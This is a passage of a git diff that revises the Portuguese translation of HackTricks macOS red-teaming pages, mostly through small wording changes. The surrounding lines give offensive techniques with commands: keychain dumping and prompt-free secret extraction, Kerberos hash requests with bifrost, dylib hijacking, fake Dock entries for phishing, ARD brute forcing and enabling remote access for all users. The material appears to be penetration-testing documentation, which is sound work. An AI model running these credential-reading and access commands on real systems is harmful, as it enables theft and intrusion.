 - O **UUID** do dispositivo: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
 - O **keychain do JAMF** de: `/Library/Application\ Support/Jamf/JAMF.keychain`, que contém o certificado do dispositivo
@@ -119,7 +119,7 @@ Alguma **ferramenta local do MacOS** que também pode ajudar é `dscl`:
 ```bash
 dscl "/Active Directory/[Domain]/All Domains" ls /
 ```
-Também existem algumas ferramentas preparadas para MacOS para enumerar automaticamente o AD e interagir com o kerberos:
+Além disso, existem algumas ferramentas preparadas para MacOS para enumerar automaticamente o AD e interagir com o kerberos:
 
 - [**Machound**](https://github.com/XMCyber/MacHound): MacHound é uma extensão da ferramenta de auditoria Bloodhound que permite coletar e ingerir relacionamentos do Active Directory em hosts MacOS.
 - [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost é um projeto em Objective-C projetado para interagir com as APIs Heimdal krb5 no macOS. O objetivo do projeto é permitir testes de segurança melhores em torno do Kerberos em dispositivos macOS usando APIs nativas, sem exigir nenhum outro framework ou pacotes no alvo.
@@ -133,8 +133,8 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
 
 Os três tipos de usuários do MacOS são:
 
-- **Usuários Locais** — Gerenciados pelo serviço local OpenDirectory, não estão conectados de nenhuma forma ao Active Directory.
-- **Usuários de Rede** — Usuários voláteis do Active Directory que requerem uma conexão com o servidor DC para autenticação.
+- **Usuários Locais** — Gerenciados pelo serviço OpenDirectory local, não estão conectados de nenhuma forma ao Active Directory.
+- **Usuários de Rede** — Usuários voláteis do Active Directory que requerem uma conexão com o servidor DC para autenticar.
 - **Usuários Móveis** — Usuários do Active Directory com um backup local para suas credenciais e arquivos.
 
 As informações locais sobre usuários e grupos são armazenadas na pasta _/var/db/dslocal/nodes/Default._\
@@ -168,13 +168,13 @@ dsconfigad -show
 ```
 Mais informações em [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
 
-### Senha do Computer$
+### Computer$ senha
 
 Obtenha senhas usando:
 ```bash
 bifrost --action askhash --username [name] --password [password] --domain [domain]
 ```
-É possível acessar a **`Computer$`** senha dentro do chaveiro do Sistema.
+É possível acessar a senha **`Computer$`** dentro do chaveiro do Sistema.
 
 ### Over-Pass-The-Hash
 
diff --git a/src/macos-hardening/macos-red-teaming/macos-keychain.md b/src/macos-hardening/macos-red-teaming/macos-keychain.md
index f3e830acf..26ae9fa4e 100644
--- a/src/macos-hardening/macos-red-teaming/macos-keychain.md
+++ b/src/macos-hardening/macos-red-teaming/macos-keychain.md
@@ -4,15 +4,15 @@
 
 ## Principais Keychains
 
-- O **Keychain do Usuário** (`~/Library/Keychains/login.keychain-db`), que é usado para armazenar **credenciais específicas do usuário** como senhas de aplicativos, senhas da internet, certificados gerados pelo usuário, senhas de rede e chaves públicas/privadas geradas pelo usuário.
-- O **Keychain do Sistema** (`/Library/Keychains/System.keychain`), que armazena **credenciais em todo o sistema** como senhas de WiFi, certificados raiz do sistema, chaves privadas do sistema e senhas de aplicativos do sistema.
+- O **User Keychain** (`~/Library/Keychains/login.keychain-db`), que é usado para armazenar **credenciais específicas do usuário** como senhas de aplicativos, senhas da internet, certificados gerados pelo usuário, senhas de rede e chaves públicas/privadas geradas pelo usuário.
+- O **System Keychain** (`/Library/Keychains/System.keychain`), que armazena **credenciais de sistema** como senhas de WiFi, certificados raiz do sistema, chaves privadas do sistema e senhas de aplicativos do sistema.
 - É possível encontrar outros componentes como certificados em `/System/Library/Keychains/*`
-- No **iOS**, há apenas um **Keychain** localizado em `/private/var/Keychains/`. Esta pasta também contém bancos de dados para o `TrustStore`, autoridades certificadoras (`caissuercache`) e entradas OSCP (`ocspache`).
+- No **iOS** há apenas um **Keychain** localizado em `/private/var/Keychains/`. Esta pasta também contém bancos de dados para o `TrustStore`, autoridades certificadoras (`caissuercache`) e entradas OSCP (`ocspache`).
 - Os aplicativos serão restritos no keychain apenas à sua área privada com base em seu identificador de aplicativo.
 
 ### Acesso ao Keychain de Senhas
 
-Esses arquivos, embora não tenham proteção inerente e possam ser **baixados**, são criptografados e requerem a **senha em texto simples do usuário para serem descriptografados**. Uma ferramenta como [**Chainbreaker**](https://github.com/n0fate/chainbreaker) pode ser usada para a descriptografia.
+Esses arquivos, embora não tenham proteção inerente e possam ser **baixados**, são criptografados e requerem a **senha em texto simples do usuário para serem descriptografados**. Uma ferramenta como [**Chainbreaker**](https://github.com/n0fate/chainbreaker) pode ser usada para descriptografia.
 
 ## Proteções de Entradas do Keychain
 
@@ -49,7 +49,7 @@ Quando uma **nova** **entrada** é criada usando **`Keychain Access.app`**, as s
 Quando um **aplicativo cria uma entrada no keychain**, as regras são um pouco diferentes:
 
 - Todos os aplicativos podem criptografar.
-- Somente o **aplicativo criador** (ou qualquer outro aplicativo explicitamente adicionado) pode exportar/descriptografar (sem solicitar ao usuário).
+- Apenas o **aplicativo criador** (ou qualquer outro aplicativo explicitamente adicionado) pode exportar/descriptografar (sem solicitar ao usuário).
 - Todos os aplicativos podem ver a verificação de integridade.
 - Nenhum aplicativo pode alterar as ACLs.
 - O **partitionID** é definido como **`teamid:[teamID aqui]`**.
@@ -76,7 +76,7 @@ security dump-keychain ~/Library/Keychains/login.keychain-db
 ### APIs
 
 > [!TIP]
-> A **enumeração e extração** do keychain de segredos que **não gerarão um prompt** pode ser feita com a ferramenta [**LockSmith**](https://github.com/its-a-feature/LockSmith)
+> A **enumeração e despejo do keychain** de segredos que **não gerarão um prompt** podem ser feitos com a ferramenta [**LockSmith**](https://github.com/its-a-feature/LockSmith)
 >
 > Outros endpoints da API podem ser encontrados no código-fonte de [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html).
 
@@ -117,12 +117,12 @@ E estes são os **requisitos** para poder **exportar um segredo sem um prompt**:
 > [!CAUTION]
 > Portanto, se houver **1 aplicativo listado**, você precisa **injetar código nesse aplicativo**.
 >
-> Se **apple** estiver indicado no **partitionID**, você pode acessá-lo com **`osascript`** então qualquer coisa que confie em todos os aplicativos com apple no partitionID. **`Python`** também pode ser usado para isso.
+> Se **apple** estiver indicado no **partitionID**, você poderia acessá-lo com **`osascript`** então qualquer coisa que confie em todos os aplicativos com apple no partitionID. **`Python`** também poderia ser usado para isso.
 
 ### Dois atributos adicionais
 
 - **Invisible**: É um sinalizador booleano para **ocultar** a entrada do aplicativo **UI** do Keychain
-- **General**: É para armazenar **metadados** (portanto, NÃO É CRIPTOGRAFADO)
+- **General**: É para armazenar **metadados** (então NÃO está CRIPTOGRAFADO)
 - A Microsoft estava armazenando em texto claro todos os tokens de atualização para acessar endpoints sensíveis.
 
 ## Referências
diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md
index 9d7c9414b..9912c0c89 100644
--- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md
+++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md
@@ -19,7 +19,7 @@
 
 ### **Noções Básicas do DEP (Programa de Inscrição de Dispositivos)**
 
-O [Programa de Inscrição de Dispositivos](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) oferecido pela Apple simplifica a integração do Gerenciamento de Dispositivos Móveis (MDM) ao facilitar a configuração sem toque para dispositivos iOS, macOS e tvOS. O DEP automatiza o processo de inscrição, permitindo que os dispositivos estejam operacionais assim que retirados da caixa, com mínima intervenção do usuário ou do administrador. Os aspectos essenciais incluem:
+O [Programa de Inscrição de Dispositivos](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) oferecido pela Apple simplifica a integração do Gerenciamento de Dispositivos Móveis (MDM) ao facilitar a configuração sem toque para dispositivos iOS, macOS e tvOS. O DEP automatiza o processo de inscrição, permitindo que os dispositivos estejam operacionais assim que retirados da caixa, com mínima intervenção do usuário ou do administrador. Aspectos essenciais incluem:
 
 - Permite que os dispositivos se registrem autonomamente em um servidor MDM pré-definido na ativação inicial.
 - Principalmente benéfico para dispositivos novos, mas também aplicável a dispositivos que estão sendo reconfigurados.
@@ -67,7 +67,7 @@ O [Programa de Inscrição de Dispositivos](https://www.apple.com/business/site/
 
 - RESTful
 - sincroniza registros de dispositivos da Apple para o servidor MDM
-- sincroniza “perfis DEP” da Apple do servidor MDM (entregues pela Apple ao dispositivo posteriormente)
+- sincroniza “perfis DEP” da Apple para o servidor MDM (entregues pela Apple ao dispositivo posteriormente)
 - Um “perfil” DEP contém:
 - URL do servidor do fornecedor de MDM
 - Certificados confiáveis adicionais para a URL do servidor (fixação opcional)
@@ -75,7 +75,7 @@ O [Programa de Inscrição de Dispositivos](https://www.apple.com/business/site/
 
 ## Número de Série
 
-Dispositivos Apple fabricados após 2010 geralmente têm números de série alfanuméricos de **12 caracteres**, com os **primeiros três dígitos representando o local de fabricação**, os **dois** seguintes indicando o **ano** e a **semana** de fabricação, os próximos **três** dígitos fornecendo um **identificador único**, e os **últimos** **quatro** dígitos representando o **número do modelo**.
+Dispositivos Apple fabricados após 2010 geralmente têm números de série **alfanuméricos de 12 caracteres**, com os **três primeiros dígitos representando o local de fabricação**, os **dois** seguintes indicando o **ano** e a **semana** de fabricação, os próximos **três** dígitos fornecendo um **identificador único**, e os **últimos** **quatro** dígitos representando o **número do modelo**.
 
 {{#ref}}
 macos-serial-number.md
@@ -110,7 +110,7 @@ ou ao executar `sudo profiles show -type enrollment`
 - Implementado por **`cloudconfigurationd`** via XPC. O **"Assistente de Configuração"** (quando o dispositivo é inicializado pela primeira vez) ou o comando **`profiles`** irá **contatar este daemon** para recuperar o registro de ativação.
 - LaunchDaemon (sempre executa como root)
 
-Segue algumas etapas para obter o Registro de Ativação realizadas por **`MCTeslaConfigurationFetcher`**. Este processo utiliza uma criptografia chamada **Absinthe**
+Segue algumas etapas para obter o Registro de Ativação realizado por **`MCTeslaConfigurationFetcher`**. Este processo utiliza uma criptografia chamada **Absinthe**
 
 1. Recuperar **certificado**
 1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
@@ -142,7 +142,7 @@ A resposta é um dicionário JSON com alguns dados importantes, como:
 - Exemplos: **UDID, versão do OS**.
 - Assinada por CMS, codificada em DER
 - Assinada usando o **certificado de identidade do dispositivo (do APNS)**
-- **A cadeia de certificados** inclui um **Apple iPhone Device CA** expirado
+- **A cadeia de certificados** inclui **Apple iPhone Device CA** expirado
 
 ![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
 
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md
index f64f19fa7..23b9f06b3 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md
@@ -1,4 +1,4 @@
-# Segurança do macOS e Escalação de Privilégios
+# Segurança e Escalação de Privilégios no macOS
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -6,7 +6,7 @@
 
 Se você não está familiarizado com o macOS, deve começar aprendendo o básico do macOS:
 
-- Arquivos e **permissões especiais do macOS:**
+- **Arquivos e permissões especiais do macOS:**
 
 {{#ref}}
 macos-files-folders-and-binaries/
@@ -30,13 +30,13 @@ macos-applefs.md
 mac-os-architecture/
 {{#endref}}
 
-- Serviços e **protocolos de rede comuns do macOS**
+- **Serviços e protocolos de rede comuns do macOS**
 
 {{#ref}}
 macos-protocols.md
 {{#endref}}
 
-- **Opensource** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
+- **Open source** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
 - Para baixar um `tar.gz`, mude uma URL como [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) para [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
 
 ### MDM do MacOS
@@ -63,7 +63,7 @@ macos-security-protections/
 
 ### Permissões de Arquivo
 
-Se um **processo em execução como root escreve** um arquivo que pode ser controlado por um usuário, o usuário pode abusar disso para **escalar privilégios**.\
+Se um **processo executado como root escreve** um arquivo que pode ser controlado por um usuário, o usuário pode abusar disso para **escalar privilégios**.\
 Isso pode ocorrer nas seguintes situações:
 
 - O arquivo usado já foi criado por um usuário (pertencente ao usuário)
@@ -79,7 +79,7 @@ Para esse tipo de vulnerabilidades, não se esqueça de **verificar instaladores
 macos-files-folders-and-binaries/macos-installers-abuse.md
 {{#endref}}
 
-### Manipuladores de Extensão de Arquivo e URL
+### Manipuladores de Aplicativos de Extensão de Arquivo e Esquema de URL
 
 Aplicativos estranhos registrados por extensões de arquivo podem ser abusados e diferentes aplicativos podem ser registrados para abrir protocolos específicos
 
@@ -97,7 +97,7 @@ Esses privilégios geralmente são concedidos na forma de **direitos** com os qu
 
 Siga esses links para encontrar diferentes maneiras de [**escalar privilégios no TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), para [**burlar o TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) e como no passado [**o SIP foi burlado**](macos-security-protections/macos-sip.md#sip-bypasses).
 
-## Escalação Tradicional de Privilégios do macOS
+## Escalação de Privilégios Tradicional do macOS
 
 Claro, do ponto de vista de uma equipe vermelha, você também deve estar interessado em escalar para root. Confira o seguinte post para algumas dicas:
 
@@ -111,7 +111,7 @@ macos-privilege-escalation.md
 
 ## Referências
 
-- [**Resposta a Incidentes do OS X: Scripting e Análise**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
+- [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
 - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
 - [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet)
 - [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
index 2a2b7fbac..13e2a80c5 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
@@ -208,13 +208,13 @@ return 0;
 }
 ```
 > [!WARNING]
-> Neste caso, se o **código de implementação do método legit** **verificar** o **nome do método**, ele pode **detectar** esse swizzling e impedir que ele seja executado.
+> Neste caso, se o **código de implementação do método legítimo** **verificar** o **nome do método**, ele pode **detectar** essa troca e impedir que ela seja executada.
 >
 > A técnica a seguir não tem essa restrição.
 
-### Method Swizzling com method_setImplementation
+### Troca de Métodos com method_setImplementation
 
-O formato anterior é estranho porque você está mudando a implementação de 2 métodos um pelo outro. Usando a função **`method_setImplementation`**, você pode **mudar** a **implementação** de um **método para o outro**.
+O formato anterior é estranho porque você está trocando a implementação de 2 métodos um pelo outro. Usando a função **`method_setImplementation`**, você pode **mudar** a **implementação** de um **método para o outro**.
 
 Apenas lembre-se de **armazenar o endereço da implementação do original** se você for chamá-lo a partir da nova implementação antes de sobrescrevê-lo, porque depois será muito mais complicado localizar esse endereço.
 ```objectivec
@@ -274,7 +274,7 @@ Nesta página, diferentes maneiras de hookear funções foram discutidas. No ent
 
 Para fazer isso, a técnica mais fácil de usar é injetar um [Dyld via variáveis de ambiente ou sequestro](../macos-dyld-hijacking-and-dyld_insert_libraries.md). No entanto, eu acho que isso também poderia ser feito via [injeção de processo Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
 
-No entanto, ambas as opções são **limitadas** a binários/processos **não protegidos**. Verifique cada técnica para saber mais sobre as limitações.
+No entanto, ambas as opções são **limitadas** a binários/processos **não protegidos**. Verifique cada técnica para aprender mais sobre as limitações.
 
 No entanto, um ataque de hooking de função é muito específico, um atacante fará isso para **roubar informações sensíveis de dentro de um processo** (se não, você apenas faria um ataque de injeção de processo). E essas informações sensíveis podem estar localizadas em aplicativos baixados pelo usuário, como o MacPass.
 
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md
index 539849370..f61045553 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md
@@ -30,7 +30,7 @@ IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArguments
 No macOS, eles estão localizados em:
 
 - **`/System/Library/Extensions`**
-- Arquivos KEXT incorporados no sistema operacional OS X.
+- Arquivos KEXT integrados ao sistema operacional OS X.
 - **`/Library/Extensions`**
 - Arquivos KEXT instalados por software de terceiros
 
@@ -54,7 +54,7 @@ Index Refs Address            Size       Wired      Name (Version) UUID 
 10   12 0xffffff8003544000 0x92000    0x92000    com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
 ```
-Até o número 9, os drivers listados estão **carregados no endereço 0**. Isso significa que não são drivers reais, mas **parte do kernel e não podem ser descarregados**.
+Até o número 9, os drivers listados estão **carregados no endereço 0**. Isso significa que eles não são drivers reais, mas **parte do kernel e não podem ser descarregados**.
 
 Para encontrar extensões específicas, você pode usar:
 ```bash
@@ -154,7 +154,7 @@ Existem **outras** funções que podem ser usadas para chamar funções do IOKit
 
 ## Reversão do ponto de entrada do driver
 
-Você pode obter esses, por exemplo, de uma [**imagem de firmware (ipsw)**](./#ipsw). Em seguida, carregue-a em seu descompilador favorito.
+Você pode obter isso, por exemplo, de uma [**imagem de firmware (ipsw)**](./#ipsw). Em seguida, carregue-a em seu descompilador favorito.
 
 Você pode começar a descompilar a função **`externalMethod`**, pois esta é a função do driver que receberá a chamada e chamará a função correta:
 
@@ -162,7 +162,7 @@ Você pode começar a descompilar a função **`externalMethod`**, pois esta é
 
 

 
-Aquela chamada horrível demangled significa:
+Aquela chamada horrível demanglada significa:
 ```cpp
 IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
 ```
@@ -192,11 +192,11 @@ Agora, seguindo o `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray`, voc
 
 

 
-Mude o Tipo de Dados para **`IOExternalMethodDispatch2022:`**
+Altere o Tipo de Dados para **`IOExternalMethodDispatch2022:`**
 
 

 
-após a mudança:
+após a alteração:
 
 

 
@@ -209,6 +209,6 @@ Após o array ser criado, você pode ver todas as funções exportadas:
 

 
 > [!TIP]
-> Se você se lembrar, para **chamar** uma função **exportada** do espaço do usuário, não precisamos chamar o nome da função, mas o **número do seletor**. Aqui você pode ver que o seletor **0** é a função **`initializeDecoder`**, o seletor **1** é **`startDecoder`**, o seletor **2** **`initializeEncoder`**...
+> Se você se lembra, para **chamar** uma função **exportada** do espaço do usuário, não precisamos chamar o nome da função, mas o **número do seletor**. Aqui você pode ver que o seletor **0** é a função **`initializeDecoder`**, o seletor **1** é **`startDecoder`**, o seletor **2** **`initializeEncoder`**...
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md
index 025be7479..dcd9259c5 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md
@@ -121,7 +121,7 @@ cmd LC_REEXPORT_DYLIB
 cmdsize 128
 name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
 ```
-Finalmente, basta copiá-lo para o **local hijacked**:
+Finalmente, basta copiá-lo para o **hijacked location**:
 ```bash
 cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
 ```
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
index 5d9f3d09c..923e70b1e 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
@@ -15,8 +15,8 @@ Isso é muito útil para gerenciar a execução paralela com sucesso, reduzindo
 
 ### Blocos
 
-Um bloco é uma **seção de código autocontida** (como uma função com argumentos retornando um valor) e também pode especificar variáveis vinculadas.\
-No entanto, no nível do compilador, blocos não existem, eles são `os_object`s. Cada um desses objetos é formado por duas estruturas:
+Um bloco é uma **seção de código autocontida** (como uma função com argumentos que retorna um valor) e também pode especificar variáveis vinculadas.\
+No entanto, no nível do compilador, os blocos não existem, eles são `os_object`s. Cada um desses objetos é formado por duas estruturas:
 
 - **literal de bloco**: 
 - Começa pelo campo **`isa`**, apontando para a classe do bloco:
@@ -198,7 +198,7 @@ Então, se você quiser que ele as entenda, você pode **declará-las**:
 Em seguida, encontre um lugar no código onde elas são **usadas**:
 
 > [!TIP]
-> Observe todas as referências feitas a "block" para entender como você poderia descobrir que a struct está sendo usada.
+> Note todas as referências feitas a "block" para entender como você poderia descobrir que a struct está sendo usada.
 
 

 
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
index 2050e6e9e..70b77e5b2 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
@@ -49,7 +49,7 @@ Usando alguma **engenharia social**, você poderia **impersonar, por exemplo, o
 {{#tab name="Impersonação do Chrome"}}
 Algumas sugestões:
 
-- Verifique no Dock se há um Chrome e, nesse caso, **remova** essa entrada e **adicione** a **entrada falsa** do **Chrome na mesma posição** no array do Dock. 
+- Verifique no Dock se há um Chrome e, nesse caso, **remova** essa entrada e **adicione** a **entrada falsa** **do Chrome na mesma posição** no array do Dock. 
 ```bash
 #!/bin/sh
 
@@ -121,7 +121,7 @@ killall Dock
 ```
 {{#endtab}}
 
-{{#tab name="Imitação do Finder"}}
+{{#tab name="Impersonação do Finder"}}
 Algumas sugestões:
 
 - Você **não pode remover o Finder do Dock**, então se você for adicioná-lo ao Dock, pode colocar o Finder falso logo ao lado do verdadeiro. Para isso, você precisa **adicionar a entrada do Finder falso no início do array do Dock**.
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md
index 39bdd2e89..427fd6257 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md
@@ -1,4 +1,4 @@
-# macOS Serviços de Rede & Protocolos
+# macOS Network Services & Protocols
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -24,11 +24,11 @@ printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharin
 ```
 ### Pentesting ARD
 
-Apple Remote Desktop (ARD) é uma versão aprimorada do [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) adaptada para macOS, oferecendo recursos adicionais. Uma vulnerabilidade notável no ARD é seu método de autenticação para a senha da tela de controle, que usa apenas os primeiros 8 caracteres da senha, tornando-o suscetível a [ataques de força bruta](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) com ferramentas como Hydra ou [GoRedShell](https://github.com/ahhh/GoRedShell/), já que não há limites de taxa padrão.
+Apple Remote Desktop (ARD) é uma versão aprimorada do [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) adaptada para macOS, oferecendo recursos adicionais. Uma vulnerabilidade notável no ARD é seu método de autenticação para a senha da tela de controle, que usa apenas os primeiros 8 caracteres da senha, tornando-o suscetível a [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) com ferramentas como Hydra ou [GoRedShell](https://github.com/ahhh/GoRedShell/), já que não há limites de taxa padrão.
 
 Instâncias vulneráveis podem ser identificadas usando o script `vnc-info` do **nmap**. Serviços que suportam `VNC Authentication (2)` são especialmente suscetíveis a ataques de força bruta devido à truncagem da senha de 8 caracteres.
 
-Para habilitar o ARD para várias tarefas administrativas, como escalonamento de privilégios, acesso à GUI ou monitoramento de usuários, use o seguinte comando:
+Para habilitar o ARD para várias tarefas administrativas, como escalonamento de privilégios, acesso GUI ou monitoramento de usuários, use o seguinte comando:
 ```bash
 sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
 ```
@@ -41,7 +41,7 @@ Bonjour, uma tecnologia projetada pela Apple, permite que **dispositivos na mesm
 A Rede de Zero Configuração, fornecida pelo Bonjour, garante que os dispositivos possam:
 
 - **Obter automaticamente um endereço IP** mesmo na ausência de um servidor DHCP.
-- Realizar **tradução de nome para endereço** sem a necessidade de um servidor DNS.
+- Realizar **tradução de nome para endereço** sem exigir um servidor DNS.
 - **Descobrir serviços** disponíveis na rede.
 
 Dispositivos que utilizam Bonjour atribuirão a si mesmos um **endereço IP da faixa 169.254/16** e verificarão sua exclusividade na rede. Macs mantêm uma entrada de tabela de roteamento para essa sub-rede, verificável via `netstat -rn | grep 169`.
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md
index d2fa22273..113d3a86d 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md
@@ -10,7 +10,7 @@
 _amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
 ```
 
-- **Guest**: Conta para convidados com permissões muito restritas.
+- **Guest**: Conta para convidados com permissões muito restritas
 ```bash
 state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
 for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
diff --git a/src/macos-hardening/macos-useful-commands.md b/src/macos-hardening/macos-useful-commands.md
index 8bad86f82..dc3dd8e62 100644
--- a/src/macos-hardening/macos-useful-commands.md
+++ b/src/macos-hardening/macos-useful-commands.md
@@ -1,4 +1,4 @@
-# Comandos Úteis do macOS
+# macOS Comandos Úteis
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -117,7 +117,7 @@ sudo killall -HUP mDNSResponder
 ```
 ### Software e Serviços Instalados
 
-Verifique se há aplicativos **suspeitos** instalados e **privilégios** sobre os recursos instalados:
+Verifique se há aplicações **suspeitas** instaladas e **privilégios** sobre os recursos instalados:
 ```
 system_profiler SPApplicationsDataType #Installed Apps
 system_profiler SPFrameworksDataType #Instaled framework
diff --git a/src/online-platforms-with-api.md b/src/online-platforms-with-api.md
index 51e09bc72..b89bbdc5d 100644
--- a/src/online-platforms-with-api.md
+++ b/src/online-platforms-with-api.md
@@ -2,121 +2,120 @@
 
 # [ProjectHoneypot](https://www.projecthoneypot.org/)
 
-You can ask if an IP is related to suspicious/malicious activities. Completely free.
+Você pode perguntar se um IP está relacionado a atividades suspeitas/maliciosas. Totalmente gratuito.
 
 # [**BotScout**](http://botscout.com/api.htm)
 
-Check if the IP address is related to a bot that register accounts. It can also check usernames and emails. Initially free.
